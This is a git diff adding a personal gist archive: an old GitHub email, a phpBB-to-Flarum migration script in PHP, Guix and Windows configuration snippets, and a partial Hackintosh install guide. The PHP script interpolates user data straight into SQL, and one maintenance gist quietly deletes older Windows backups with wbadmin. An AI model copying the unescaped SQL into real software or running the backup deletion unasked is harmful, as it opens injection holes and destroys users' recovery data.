https://gist.github.com/dominicusin/9ecefd2a09d90f0fe6ce465f60051e61 +updated_at: "2026-04-20T15:43:40Z" +files: ["From: Chris Wanstrath "] +--- +_From: Chris Wanstrath _ + +## From: Chris Wanstrath + +``` +From: Chris Wanstrath +Date: Wed, 16 Apr 2014 15:24:28 -0700 +Subject: Re: [mikegerwitz@gnu.org: Re: Free GitHub's JavaScript] +To: Mike Gerwitz +Cc: Tom Preston-Werner , PJ Hyett + +Hey Mike, + +We have no plans to release github.com's JavaScript as free software at +this time, nor do we have plans to remove the site's dependence on +JavaScript. Thanks for the interest. +``` + + diff --git a/content/gists/a4ad9e564ff2e3216ac7fd2f5a761309.md b/content/gists/a4ad9e564ff2e3216ac7fd2f5a761309.md new file mode 100644 index 000000000..937d03c08 --- /dev/null +++ b/content/gists/a4ad9e564ff2e3216ac7fd2f5a761309.md @@ -0,0 +1,450 @@ +--- +title: "phpBB 2 Flarum" +type: gist +gist_id: "a4ad9e564ff2e3216ac7fd2f5a761309" +gist_name: "phpBB 2 Flarum Flarum" +gist_url: https://gist.github.com/dominicusin/a4ad9e564ff2e3216ac7fd2f5a761309 +updated_at: "2022-09-15T17:35:49Z" +files: ["Flarum"] +--- +_phpBB 2 Flarum_ + +## Flarum + +``` +connect_error) + die("Export - Connection failed: " . $exportDbConnection->connect_error); +else +{ + echo "Export - Connected successfully
\n"; + + if(!$exportDbConnection->set_charset("utf8")) + { + printf("Error loading character set utf8: %s\n", $exportDbConnection->error); + exit(); + } + else + printf("Current character set: %s\n", $exportDbConnection->character_set_name()); +} + +// Establish a connection to the server where the Flarum database exists +$importDbConnection = new mysqli($servername, $usernameimp, $passwordimp, $importDBName); + +// Check connection +if ($importDbConnection->connect_error) + die("Import - Connection failed: " . $importDbConnection->connect_error); +else +{ + echo "Import - Connected successfully
\n"; + + if(!$importDbConnection->set_charset("utf8")) + { + printf("Error loading character set utf8: %s\n", $importDbConnection->error); + exit(); + } + else + printf("Current character set: %s\n", $importDbConnection->character_set_name()); +} + + +//Disable foreing keys check + +$importDbConnection->query("SET FOREIGN_KEY_CHECKS=0"); + + +//Convert Users + +echo "
Step 1 - Users
"; +$result = $exportDbConnection->query("SELECT user_id, from_unixtime(user_regdate) as user_regdate, username_clean, user_email FROM ${exportDBPrefix}users"); +$totalUsers = $result->num_rows; +if ($totalUsers) +{ + $i = 0; + $usersIgnored = 0; + while($row = $result->fetch_assoc()) + { + $i++; + + if($row["user_email"] != NULL) + { + $username = $row["username_clean"]; + $usernameHasSpace = strpos($username, " "); + + if($usernameHasSpace > 0) + { + $formatedUsername = str_replace(" ", NULL, $username); + } + else{ + $formatedUsername = $username; + } + $id = $row['user_id']; + $email = $row['user_email']; + $password = sha1(md5(time())); + $jointime = $row['user_regdate']; + $query = "INSERT IGNORE INTO " . $importDBPrefix . "users (id, username, email, password, joined_at, is_email_confirmed) VALUES ( '$id', '$formatedUsername', '$email', '$password', '$jointime', 1)"; + $res = $importDbConnection->query($query); + if($res === false) { + echo "Wrong SQL: " . $query . " Error: " . $importDbConnection->error . "
\n"; + } + } + else { + $usersIgnored++; + } + } + echo $i-$usersIgnored . ' out of '. $totalUsers .' Total Users converted'; +} +else + echo "Something went wrong."; + +//Convert Categories to Tags + +echo "
Step 2 - Categories
"; +$result = $exportDbConnection->query("SELECT forum_id, forum_name, forum_desc FROM ${exportDBPrefix}forums"); +$totalCategories = $result->num_rows; +if ($totalCategories) +{ + $i = 1; + while($row = $result->fetch_assoc()) + { + $id = $row["forum_id"]; + $name = mysql_escape_mimic($row["forum_name"]); + $description = mysql_escape_mimic(strip_tags(stripBBCode($row["forum_desc"]))); + $color = rand_color(); + $position = $i; + $slug = mysql_escape_mimic(slugify($row["forum_name"])); + + $query = "INSERT IGNORE INTO " . $importDBPrefix . "tags (id, name, description, slug, color, position) VALUES ( '$id', '$name', '$description', '$slug', '$color', '$position')"; + $res = $importDbConnection->query($query); + if($res === false) { + echo "Wrong SQL Assumption id Confict now trying a update
\n"; + $queryupdate = "UPDATE " . $importDBPrefix . "tags SET name = '$name', description = '$description', slug = '$slug' WHERE id = '$id' ;"; + $res = $importDbConnection->query($queryupdate); + if($res === false) { echo "Wrong SQL: " . $query . " Error: " . $importDbConnection->error . "
\n"; } + } + $i++; + } + echo $totalCategories . ' Categories converted.'; +} +else + echo "Something went wrong."; + + +echo "
Step 3 - Topics
"; +$topicsQuery = $exportDbConnection->query("SELECT topic_id, topic_poster, forum_id, topic_title, topic_time FROM ${exportDBPrefix}topics ORDER BY topic_id DESC;"); +$topicCount = $topicsQuery->num_rows; + +if($topicCount) +{ + $curTopicCount = 0; + $insertString = "INSERT IGNORE INTO " . $importDBPrefix . "posts (id, user_id, discussion_id, created_at, type, content) VALUES \n"; + // Loop trough all PHPBB topics + $topictotal = $topicsQuery->num_rows; + $i = 1; + while($topic = $topicsQuery->fetch_assoc()) + { + // Convert posts per topic + $participantsArr = []; + $lastPosterID = 0; + + $sqlQuery = sprintf("SELECT * FROM ${exportDBPrefix}posts WHERE topic_id = %d;", $topic["topic_id"]); + $postsQuery = $exportDbConnection->query($sqlQuery); + $postCount = $postsQuery->num_rows; + + if($postCount) + { + $curPost = 0; + + //fwrite($sqlScript_posts, $insertString); + while($post = $postsQuery->fetch_assoc()) + { + $curPost++; + + $posterID = 0; + $date = new DateTime(); + $date->setTimestamp($post["post_time"]); + $postDate = $date->format('Y-m-d H:i:s'); + $postText = formatText($exportDbConnection, $post['post_text']); + + if($post['post_id'] == 913){echo $postText;} + + if(empty($post['post_username']))// If the post_username field has text it means it's a "ghost" post. Therefore we should set the poster id to 0 so Flarum knows it's an invalid user + { + $posterID = $post['poster_id']; + + // Add to the array only if unique + if(!in_array($posterID, $participantsArr)) + $participantsArr[] = $posterID; + } + + if($curPost == $postCount)// Check if it's the last post in the discussion and save the poster id + $lastPosterID = $posterID; + + // Write post values to SQL Script + //fwrite($sqlScript_posts, sprintf("\t(%d, %d, %d, '%s', 'comment', '%s')%s\n", $post['post_id'], $posterID, $topic['topic_id'], $postDate, $postText, $curPost != $postCount ? "," : ";")); + + // Execute the insert query in the desired database. + $formattedValuesStr = sprintf("(%d, %d, %d, '%s', 'comment', '%s');", $post['post_id'], $posterID, $topic['topic_id'], $postDate, $postText); + $query = $insertString . $formattedValuesStr; + $res = $importDbConnection->query($query); + if($res === false) { + echo "Wrong SQL: " . $query . " Error: " . $importDbConnection->error . "
\n"; + } + } + } + //else + // echo "
\nTopic ". $topic['topic_id'] ." has zero posts.
\n"; + + // Convert topic to Flarum format + // + // This needs to be done at the end because we need to get the post count first + // + $date = new DateTime(); + $date->setTimestamp($topic["topic_time"]); + $discussionDate = $date->format('Y-m-d H:i:s'); + $topicTitle = $exportDbConnection->real_escape_string($topic["topic_title"]); + + // Link Discussion/Topic to a Tag/Category + $topicid = $topic["topic_id"]; + $forumid = $topic["forum_id"]; + + $query = "INSERT IGNORE INTO " . $importDBPrefix . "discussion_tag (discussion_id, tag_id) VALUES( '$topicid', '$forumid')"; + $res = $importDbConnection->query($query); + if($res === false) { + echo "Wrong SQL: " . $query . " Error: " . $importDbConnection->error . "
\n"; + } + + + // Check for parent forums + $parentForum = $exportDbConnection->query("SELECT parent_id FROM ${exportDBPrefix}forums WHERE forum_id = " . $topic["forum_id"]); + $result = $parentForum->fetch_assoc(); + if($result['parent_id'] > 0){ + $topicid = $topic["topic_id"]; + $parentid = $result['parent_id']; + $query = "INSERT IGNORE INTO " . $importDBPrefix . "discussion_tag (discussion_id, tag_id) VALUES( '$topicid', '$parentid')"; + $res = $importDbConnection->query($query); + if($res === false) { + echo "Wrong SQL: " . $query . " Error: " . $importDbConnection->error . "
\n"; + } + } + if($lastPosterID == 0)// Just to make sure it displays an actual username if the topic doesn't have posts? Not sure about this. + $lastPosterID = $topic["topic_poster"]; + + $slug = mysql_escape_mimic(slugify($topicTitle)); + $count = count($participantsArr); + $poster = $topic["topic_poster"]; + $query = "INSERT IGNORE INTO " . $importDBPrefix . "discussions (id, title, slug, created_at, comment_count, participant_count, first_post_id, last_post_id, user_id, last_posted_user_id, last_posted_at) VALUES( '$topicid', '$topicTitle', '$slug', '$discussionDate', '$postCount', '$count', 1, 1, '$poster', '$lastPosterID', '$discussionDate')"; + $res = $importDbConnection->query($query); + if($res === false) { + echo "Wrong SQL: " . $query . " Error: " . $importDbConnection->error . "
\n"; + } + + $i++; + } +} +// Convert user posted topics to user discussions? +echo "
User Discussions
"; +$result = $exportDbConnection->query("SELECT user_id, topic_id FROM ${exportDBPrefix}topics_posted"); +if ($result->num_rows > 0) +{ + $total = $result->num_rows; + $i = 1; + while($row = $result->fetch_assoc()) { + $comma = $i == $total ? ";" : ","; + $userID = $row["user_id"]; + $topicID = $row["topic_id"]; + $query = "INSERT IGNORE INTO " . $importDBPrefix . "discussion_user (user_id, discussion_id) VALUES ( '$userID', '$topicID')"; + $res = $importDbConnection->query($query); + if($res === false) { + echo "Wrong SQL: " . $query . " Error: " . $importDbConnection->error . "
\n"; + } + $i++; + } + echo "Success"; +} +else + echo "Table is empty"; + + + // Convert user posted topics to user discussions? +echo "
last Step Update User table
"; +$result = $importDbConnection->query("SELECT id FROM users"); +if ($result->num_rows > 0) +{ + $total = $result->num_rows; + $i = 1; + while($row = $result->fetch_assoc()) { + $comma = $i == $total ? ";" : ","; + $userID = $row["id"]; + $res = $importDbConnection->query("select * from users_discussions where user_id = '$userID' "); + $numTopics = $res->num_rows; + + $res1 = $importDbConnection->query("select * from posts where user_id = '$userID' "); + $numPosts = $res1->num_rows; + + $query = "UPDATE " . $importDBPrefix . "users SET discussions_count = '$numTopics', comment_count = '$numPosts' WHERE id = '$userID' "; + $res = $importDbConnection->query($query); + if($res === false) { + echo "Wrong SQL: " . $query . " Error: " . $importDbConnection->error . "
\n"; + } + } + echo "Success"; +} +else + echo "Table is empty"; + + + +// Close connection to the database +$exportDbConnection->close(); +$importDbConnection->close(); + +// Functions +function print_r2($val) +{ + echo '
';
+	print_r($val);
+	echo  '
'; +} + +function slugify($text) +{ + $text = preg_replace('~[^\\pL\d]+~u', '-', $text); + $text = trim($text, '-'); + $text = iconv('utf-8', 'us-ascii//TRANSLIT', $text); + $text = strtolower($text); + $text = preg_replace('~[^-\w]+~', '', $text); + + if (empty($text)) + return 'n-a'; + + return $text; +} + +function rand_color() +{ + return '#' . str_pad(dechex(mt_rand(0, 0xFFFFFF)), 6, '0', STR_PAD_LEFT); +} + +function mysql_escape_mimic($inp) +{ + if(is_array($inp)) + return array_map(__METHOD__, $inp); + + if(!empty($inp) && is_string($inp)) { + return str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $inp); + } + return $inp; +} + +// Formats PHPBB's text to Flarum's text format +function formatText($connection, $text) +{ + $text = preg_replace('#\:\w+#', '', $text); + $text = convertBBCodeToHTML($text); + $text = str_replace(""","\"",$text); + $text = preg_replace('|[[\/\!]*?[^\[\]]*?]|si', '', $text); + $text = trimSmilies($text); + + // Wrap text lines with paragraph tags + $explodedText = explode("\n", $text); + foreach ($explodedText as $key => $value) + { + if(strlen($value) > 1)// Only wrap in a paragraph tag if the line has actual text + $explodedText[$key] = '

' . $value . '

'; + } + $text = implode("\n", $explodedText); + + $wrapTag = strpos($text, '>') > 0 ? "r" : "t";// Posts with quotes need to be 'richtext' + $text = sprintf('<%s>%s', $wrapTag, $text, $wrapTag); + + return $connection->real_escape_string($text); +} + +// Used to convert Categories to Tags +function stripBBCode($text_to_search) { + $pattern = '|[[\/\!]*?[^\[\]]*?]|si'; + $replace = ''; + return preg_replace($pattern, $replace, $text_to_search); +} + +function convertBBCodeToHTML($bbcode) +{ + $bbcode = preg_replace('#\[b](.+)\[\/b]#', "$1", $bbcode); + $bbcode = preg_replace('#\[i](.+)\[\/i]#', "$1", $bbcode); + $bbcode = preg_replace('#\[u](.+)\[\/u]#', "$1", $bbcode); + $bbcode = preg_replace('#\[img](.+?)\[\/img]#is', " src='$1'\>>$2", $bbcode); + $bbcode = preg_replace('#\[code:\w+](.+?)\[\/code:\w+]#is', "$1", $bbcode); + $bbcode = preg_replace('#\[pre](.+?)\[\/pre]#is', "$1", $bbcode); + $bbcode = preg_replace('#\[u](.+)\[\/u]#', "$1", $bbcode); + $bbcode = preg_replace('#\[\*](.+?)\[\/\*]#is', "
  • $1
  • ", $bbcode); + $bbcode = preg_replace('#\[color=\#\w+](.+?)\[\/color]#is', "$1", $bbcode); + $bbcode = preg_replace('#\[url=(.+?)](.+?)\[\/url]#is', "$2", $bbcode); + $bbcode = preg_replace('#\[url](.+?)\[\/url]#is', "$1", $bbcode); + $bbcode = preg_replace('#\[list](.+?)\[\/list]#is', "
      $1
    ", $bbcode); + $bbcode = preg_replace('#\[size=200](.+?)\[\/size]#is', "

    $1

    ", $bbcode); + $bbcode = preg_replace('#\[size=170](.+?)\[\/size]#is', "

    $1

    ", $bbcode); + $bbcode = preg_replace('#\[size=150](.+?)\[\/size]#is', "

    $1

    ", $bbcode); + $bbcode = preg_replace('#\[size=120](.+?)\[\/size]#is', "

    $1

    ", $bbcode); + $bbcode = preg_replace('#\[size=85](.+?)\[\/size]#is', "
    $1
    ", $bbcode); + + return $bbcode; +} + +function trimSmilies($postText) +{ + $startStr = ""; + + $emoticonsCount = substr_count($postText, ' src= + +``` + + diff --git a/content/gists/a549a30e4e3e34b89664e88907b87c02.md b/content/gists/a549a30e4e3e34b89664e88907b87c02.md new file mode 100644 index 000000000..a40adbe28 --- /dev/null +++ b/content/gists/a549a30e4e3e34b89664e88907b87c02.md @@ -0,0 +1,19 @@ +--- +title: "mport search '*'|cut -f1|sort -u|xargs mport install" +type: gist +gist_id: "a549a30e4e3e34b89664e88907b87c02" +gist_name: "mport search '*'|cut -f1|sort -u|xargs mport install mport" +gist_url: https://gist.github.com/dominicusin/a549a30e4e3e34b89664e88907b87c02 +updated_at: "2022-04-12T23:11:11Z" +files: ["mport"] +--- +_mport search '*'|cut -f1|sort -u|xargs mport install_ + +## mport + +``` +mport install `mport search '*'|cut -f1|sort -u` + +``` + + diff --git a/content/gists/a624d42e157928c124e582a44f552d15.md b/content/gists/a624d42e157928c124e582a44f552d15.md new file mode 100644 index 000000000..54fad5cd1 --- /dev/null +++ b/content/gists/a624d42e157928c124e582a44f552d15.md @@ -0,0 +1,38 @@ +--- +title: "Hexlet programming principles" +type: gist +gist_id: "a624d42e157928c124e582a44f552d15" +gist_name: "Hexlet programming principles hexlet-principles.md" +gist_url: https://gist.github.com/dominicusin/a624d42e157928c124e582a44f552d15 +updated_at: "2018-01-17T16:51:34Z" +files: ["hexlet-principles.md"] +--- +_Hexlet programming principles_ + +## hexlet-principles.md + +```Markdown +* Принципы программирования Хекслета + +1. Язык — это инструмент +2. Программирование — это не язык +3. Понимание принципов важнее знания инструментов +4. Паттерны — это не принципы программирования +5. Написание кода — не цель +6. Удаление кода лучше его написания +7. Читаемый код важнее быстрого +8. Любое решение имеет плюсы +9. Уровень мышления определяет уровень решений +10. Изменяемое состояние — это необходимость и корень всех бед +11. Побочные эффекты требуют изоляции +12. Абстракция управляет сложностью +13. Однообразие лучше локальных оптимизаций +14. Тесты вселяют уверенность +15. Система типов определяет ошибки +16. Эксплуатация — это часть системы +17. Код — это не продукт +18. Хороший код не рождает хороший продукт + +``` + + diff --git a/content/gists/a94364c9e2c9e742d0c94dc58a706361.md b/content/gists/a94364c9e2c9e742d0c94dc58a706361.md new file mode 100644 index 000000000..25ef8f73b --- /dev/null +++ b/content/gists/a94364c9e2c9e742d0c94dc58a706361.md @@ -0,0 +1,162 @@ +--- +title: "channels.scm" +type: gist +gist_id: "a94364c9e2c9e742d0c94dc58a706361" +gist_name: "channels.scm channels.scm" +gist_url: https://gist.github.com/dominicusin/a94364c9e2c9e742d0c94dc58a706361 +updated_at: "2025-09-03T11:47:01Z" +files: ["channels.scm"] +--- +_channels.scm_ + +## channels.scm + +```Scheme +;; ~/.config/guix/channels.scm + +(list (channel + (name 'nonguix) + (url "https://gitlab.com/nonguix/nonguix") + (branch "master") + (commit + "477f283914ca771a8622e16b73d845b87c63335d") + (introduction + (make-channel-introduction + "897c1a470da759236cc11798f4e0a5f7d4d59fbc" + (openpgp-fingerprint + "2A39 3FFF 68F4 EF7A 3D29 12AF 6F51 20A0 22FB B2D5")))) + (channel + (name 'guix) + (url "https://git.guix.gnu.org/guix.git") + (branch "master") + (commit + "b377ec079d9ffe8f0f372c43735ad012ea889b6f") + (introduction + (make-channel-introduction + "9edb3f66fd807b096b48283debdcddccfea34bad" + (openpgp-fingerprint + "BBB0 2DDF 2CEA F6A8 0D1D E643 A2A0 6DF2 A33A 54FA")))) + (channel + (name 'pantherx) + (url "https://channels.pantherx.org/git/panther.git") + (branch "master") + (commit + "236f6a56cb78556eeeb64b4895ce59cdba644b0b") + (introduction + (make-channel-introduction + "54b4056ac571611892c743b65f4c47dc298c49da" + (openpgp-fingerprint + "A36A D41E ECC7 A871 1003 5D24 524F EB1A 9D33 C9CB")))) + (channel + (name 'guix-gaming-games) + (url "https://gitlab.com/guix-gaming-channels/games.git") + (branch "master") + (commit + "b943b1e3cacffa8c9b7ea63d49f3f7d8fc3bee85") + (introduction + (make-channel-introduction + "c23d64f1b8cc086659f8781b27ab6c7314c5cca5" + (openpgp-fingerprint + "50F3 3E2E 5B0C 3D90 0424 ABE8 9BDC F497 A4BB CC7F")))) + (channel + (name 'flat) + (url "https://github.com/flatwhatson/guix-channel.git") + (branch "master") + (commit + "b62ba3214ed0f781e2d6015044ae8a4a1bd5c7d7") + (introduction + (make-channel-introduction + "33f86a4b48205c0dc19d7c036c85393f0766f806" + (openpgp-fingerprint + "736A C00E 1254 378B A982 7AF6 9DBE 8265 81B6 4490")))) + (channel + (name 'guix-science) + (url "https://codeberg.org/guix-science/guix-science.git") + (branch "master") + (commit + "6f6b833e7b258251abc33186d2775c333e91d11f") + (introduction + (make-channel-introduction + "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc" + (openpgp-fingerprint + "CA4F 8CF4 37D7 478F DA05 5FD4 4213 7701 1A37 8446")))) + (channel + (name 'guix-hpc) + (url "https://gitlab.inria.fr/guix-hpc/guix-hpc.git") + (branch "master") + (commit + "383fd2297febd03401d2b70c29db6eaff8c6384d")) + (channel + (name 'guix-past) + (url "https://codeberg.org/guix-science/guix-past") + (branch "master") + (commit + "b14d7f997ae8eec788a7c16a7252460cba3aaef8") + (introduction + (make-channel-introduction + "0c119db2ea86a389769f4d2b9c6f5c41c027e336" + (openpgp-fingerprint + "3CE4 6455 8A84 FDC6 9DB4 0CFB 090B 1199 3D9A EBB5")))) + (channel + (name 'rde) + (url "https://git.sr.ht/~abcdw/rde") + (branch "master") + (commit + "46a2e694a4afc3d1dbce8b751389b566df16d46a") + (introduction + (make-channel-introduction + "257cebd587b66e4d865b3537a9a88cccd7107c95" + (openpgp-fingerprint + "2841 9AC6 5038 7440 C7E9 2FFA 2208 D209 58C1 DEB0")))) + (channel + (name 'rosenthal) + (url "https://codeberg.org/hako/rosenthal.git") + (branch "trunk") + (commit + "9e51ad4215461702056e57557b89d56d9123713f") + (introduction + (make-channel-introduction + "7677db76330121a901604dfbad19077893865f35" + (openpgp-fingerprint + "13E7 6CD6 E649 C28C 3385 4DF5 5E5A A665 6149 17F7")))) + (channel + (name 'babelfish) + (url "https://codeberg.org/ifitzpat/babelfish.git") + (branch "master") + (commit + "2a92e7289d260e21b64b3857dbab980adfc78b42")) + (channel + (name 'guix-cran) + (url "https://github.com/guix-science/guix-cran.git") + (branch "master") + (commit + "6ef1a68cb0b4e9949ec667c0fb4cd1c730e2015e")) + (channel + (name 'guix-bioc) + (url "https://github.com/guix-science/guix-bioc.git") + (branch "master") + (commit + "7500d208fc1f08abd0a382eba2984e622d814f13")) + (channel + (name 'ajattix) + (url "https://git.ajattix.org/hashirama/ajattix.git") + (branch "main") + (commit + "b62401404713cbdfcccb6172e8efab59934c62e5") + (introduction + (make-channel-introduction + "5f1904f1a514b89b2d614300d8048577aa717617" + (openpgp-fingerprint + "F164 709E 5FC7 B32B AEC7 9F37 1F2E 76AC E3F5 31C8")))) + (channel + (name 'crafted-guix) + (url "https://codeberg.org/ifitzpat/crafted-guix.git") + (branch + "docker-container-service-type-documentation") + (commit + "1eba6117713e06a27b40fc77606b9496fd7fe19b"))) + + +``` + + diff --git a/content/gists/aa31915edbc0f3552967de367f03e6ee.md b/content/gists/aa31915edbc0f3552967de367f03e6ee.md new file mode 100644 index 000000000..f2261e386 --- /dev/null +++ b/content/gists/aa31915edbc0f3552967de367f03e6ee.md @@ -0,0 +1,68 @@ +--- +title: "Setup unattended installation for moving `USERS` and `AppData` folder on Windows 8" +type: gist +gist_id: "aa31915edbc0f3552967de367f03e6ee" +gist_name: "Setup unattended installation for moving `USERS` and `AppData` folder on Windows 8 unattended installation.md" +gist_url: https://gist.github.com/dominicusin/aa31915edbc0f3552967de367f03e6ee +updated_at: "2020-04-04T22:35:35Z" +files: ["unattended installation.md"] +--- +_Setup unattended installation for moving `USERS` and `AppData` folder on Windows 8_ + +## unattended installation.md + +```Markdown +When creating a clean install, using the combination of an SSD system drive and a conventional disk drive, as a data drive, there is a way to "move" the Users folder (normally, C:\Users) and the hidden ProgramData folder (normally C:\ProgramData) to the conventional disk, or data drive, using an answer file, or unattend.xml, for an unattended installation, as mentioned above. + +For an individual doing a single, one-off installation, trying to figure out how to create an answer file for a completely unattended installation, just to accomplish this one small task, is way, way too much trouble. It's also not necessary. + +It is possible, during the course of a conventional, interactive installation from an installation disc or USB thumbdrive, to enter what is called, "Audit Mode", before the Computer is named or a Username created, and accomplish the necessary re-assignment. + +1.) Do a conventional installation. If you are using an SSD, at the point in the installation process where you are asked where you want to install Windows, you should use Drive Options to remove any partitions on the SSD, before selecting the SSD as the target. Do not manually partition or format the drive, prior to installation. Windows 7 will do this, and must do this, because Windows needs to align the logical format with characteristics of the physical drive, and, also, Windows wants a small system partition for its own purposes. + +2.) When the installation stops, waiting for you to give the computer a username and a computer name, DON'T! Press `Ctrl+Shift+F3`, and the computer will restart in . . . (wait for it!) "Audit Mode"!. Basically, Windows will create a throwaway Administrator account and sign you in, as this throwaway Administrator. Nothing you do, with regard to this temporary user will survive finalizing the installation, but the computer operates normally, and you can install drivers and software. Whenever the computer starts in Audit mode (you are allowed to restart), a GUI version of Sysprep.exe will pop up, offering to restart the computer in OOBE (out of box experience). OOBE is where you were a moment before -- that is, where you create a username and computer name and the installation is finalized. Don't choose to restart in OOBE until you are ready to finalize the installation. + +3.) You need to know what drive letter (or folder location) is going to be assigned to your Datadrive disk. So, this would be the time, in audit mode, to figure that out. If you need to partition or format the datadrive, do it now. On the Start Menu, right-click on "Computer" and choose Manage from the context menu, to get to the Computer Management console. In the Computer Management console, under Storage/Disk Management, you will find the tools to change drive letters, partition, etc. + +4.) You need only a minimal answer file. This is an xml file (a text file), created in the Windows System Image Manager application. You can call it whatever you like. I'd suggest: `folders.xml`. Here's the content of a `folders.xml` file, which will re-locate Users and ProgramData to D:\ + +```XML + + + + + + d:\Users + d:\ProgramData + + + + + +``` + +I am going to imagine a scenario, where you make this file on another computer, and transfer it to the computer, where the installation is being done, using a USB flashdrive, which, when plugged in, to the computer in Audit Mode, is assigned the driveletter U: + +You could probably just copy the text above into notepad and save it as a textfile with the extension, .xml and be good to go, provided you wanted to use d:\Users and d:\ProgramData as your Datadrive locations. (I've used this answer file, successfully; I don't guarantee that it will work for others.) + +5. To use the folders.xml, located in the root directory of your USB flashdrive, plugged in and visible as U:\, you need to open a command prompt, navigate to `c:\windows\system32\sysprep` and give this command: + +`sysprep.exe /audit /reboot /unattend:U:\folders.xml` + +This will cause the computer to reboot, but you will end up right back in Audit Mode. As long as you are still in Audit Mode, the re-location of these folders will not be complete, because the temporary Administrator useraccount still has its stuff in C:\Users and there are still some active databases in C:\ProgramData. + +6.) Now, you need to say goodbye to Audit Mode. Remember that a GUI for using Sysprep to initialize the OOBE shows up, each time you re-boot into Audit Mode. So after you reboot in 5.) you will have your chance to run it. (If this is your personal computer, don't check the __"Generalize"__ box in the Sysprep GUI.) + +7.) Finish your Windows installation, create a permanent username and giving the computer a name, etc. When you are finally up and running, go look at C:\ C:\Users should be gone. C:\ProgramData is probably still there, but it's normally hidden, so you won't see it, until you go into Folder Options and check Show Hidden Files and Folders. D:\Users and D:\ProgramData (hidden) should also exist. + +8.) I like the idea of using Junctions to intercept any program foolish enough to hardcode to _c:\users_ or _c:\programdata_ You'll need to delete or move C:\ProgramData, before creating a Junction at _C:\ProgramData_ pointing to _D:\ProgramData_. The command line tool, mklink, is useful here. Open a command prompt, and type mklink /? for instructions. If you prefer a right-click GUI tool, check out: [hard link shell ext](http://schinagl.priv.at/nt/hardlinkshellext/hardlinkshellext.html) + +After having created the Junctions, I believe you could use regedit to edit the ProfileList key back to the original C:\ locations. folders.xml will have modified the Folderlist key, so that everything points to _D:\_ instead of _%systemdrive%_ or _C:\_ I'm not sure what the point would be, but you could. + +`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList` + +[source](http://answers.microsoft.com/en-us/windows/forum/windows_7-files/win7-how-do-i-move-user-folder-to-a-different/565f16a5-e5ed-43c9-8422-4f56aebb296e) + +``` + + diff --git a/content/gists/b21cc5f08605850ca1b1932e12a1e886.md b/content/gists/b21cc5f08605850ca1b1932e12a1e886.md new file mode 100644 index 000000000..7709bd007 --- /dev/null +++ b/content/gists/b21cc5f08605850ca1b1932e12a1e886.md @@ -0,0 +1,18 @@ +--- +title: "b21cc5f08605850ca1b1932e12a1e886" +type: gist +gist_id: "b21cc5f08605850ca1b1932e12a1e886" +gist_name: "gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/b21cc5f08605850ca1b1932e12a1e886 +updated_at: "2020-04-01T19:08:53Z" +files: ["gistfile1.txt"] +--- +## gistfile1.txt + +```Text +start /B config.xlaunch +start "" /B "C:\bin\pulseaudio-1.1\bin\pulseaudio.exe" +ubuntu.exe run "if [ -z \"$(pidof xfce4-session)\" ]; then export DISPLAY=127.0.0.1:0.0; export PULSE_SERVER=tcp:127.0.0.1; xfce4-session; pkill '(gpg|ssh)-agent'; taskkill.exe /IM pulseaudio.exe /F; taskkill.exe /IM vcxsrv.exe; fi;" +``` + + diff --git a/content/gists/b4c9b272fc9e4dd512af0298ab5ad5fa.md b/content/gists/b4c9b272fc9e4dd512af0298ab5ad5fa.md new file mode 100644 index 000000000..9cfba5dd7 --- /dev/null +++ b/content/gists/b4c9b272fc9e4dd512af0298ab5ad5fa.md @@ -0,0 +1,23 @@ +--- +title: "wind" +type: gist +gist_id: "b4c9b272fc9e4dd512af0298ab5ad5fa" +gist_name: "wind gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/b4c9b272fc9e4dd512af0298ab5ad5fa +updated_at: "2024-10-12T23:25:58Z" +files: ["gistfile1.txt"] +--- +_wind_ + +## gistfile1.txt + +```Text +winget upgrade --accept-package-agreements --accept-source-agreements --include-unknown --all -ruh +C:\Windows\System32\wbadmin.exe delete backup -keepVersions:1 -quiet +C:\Windows\System32\Dism.exe /Online /Cleanup-Image /StartComponentCleanup /ResetBase /RestoreHealth +C:\Windows\System32\sfc.exe /SCANNOW +C:\Windows\System32\compact.exe /CompactOs:always + +``` + + diff --git a/content/gists/b6b1dda15f789d36ea10d0139197c812.md b/content/gists/b6b1dda15f789d36ea10d0139197c812.md new file mode 100644 index 000000000..3151cde53 --- /dev/null +++ b/content/gists/b6b1dda15f789d36ea10d0139197c812.md @@ -0,0 +1,205 @@ +--- +title: "How to Install Niresh Yosemite on Your PC" +type: gist +gist_id: "b6b1dda15f789d36ea10d0139197c812" +gist_name: "How to Install Niresh Yosemite on Your PC install_niresh_hackintosh.md" +gist_url: https://gist.github.com/dominicusin/b6b1dda15f789d36ea10d0139197c812 +updated_at: "2020-10-20T18:09:20Z" +files: ["install_niresh_hackintosh.md"] +--- +_How to Install Niresh Yosemite on Your PC_ + +## install_niresh_hackintosh.md + +```Markdown +# How to Install Niresh Yosemite on Your PC + +OS X Yosemite (10.10) is the latest OS X release of 2014 by apple, +but Apple locks the operating system to only be installed in genuine Apple computers known as Macintosh & they cost a lot +any how there is always a way if you want to install the operating system in your common pc, without paying high cost for a real mac you can make a Hackintosh + +We have previously covered the article for Installing Niresh Mavericks on PC +if you’re interested in Installing Mac OS X Yosemite on PC this article is for you, You may experience many problems while trying to Install Hackintosh, most of them can be fixed easily most troubleshoot informations are included in this guide so first just read all Instructions once before starting any procedures. + +Few Notes about this OSX 10.10 & 10.10.1 (Intel & AMD Supported) +Standalone Installer (This image also can be used with a genuine mac as a standalone Installer) +LGA 2011 Partial Support (Go for 10.10.1 Image) +MBR Patched +Trim Patched Installation and Post Installation +XPCM Patch +RTC Patch (CMOS Reset Patch) +Auto Install Audio Kexts +Auto Install Network Kexts +Installs Clover & Chameleon Boot-loader +Many more patches fixes etc, etc you’ll love it 🙂 +> Read also... [What is UEFI and how it is useful for Hackintoshing]() + +You need a 8GB Pen drive + +An existing computer with Windows or Mac + +Download [Niresh’s Yosemite Image](http://www.hackintosh.zone/downloads/download/810-nireshs-yosemite-with-amd-intel/) +Version 10.10.1 Image is Highly Recommended + +You must Download the DMG file to prepare a Bootable USB +The ISO File is to use with VMWare / Virtual BOX / Virtual Machine or If your computer doesn’t support USB Booting (it wont fit on 4.7 DvD) +Then prepare the Bootable USB + +If you’re using a Macintosh or Hackintosh currently then download the Yosemite restore package (which is included in the Niresh’s Yosemite Download Page) +copy the package to the same location where Yosemite-Zone.dmg exist +then open the Yosemite Restore package and Install it to the 8GB/+ Pen drive +Please view the 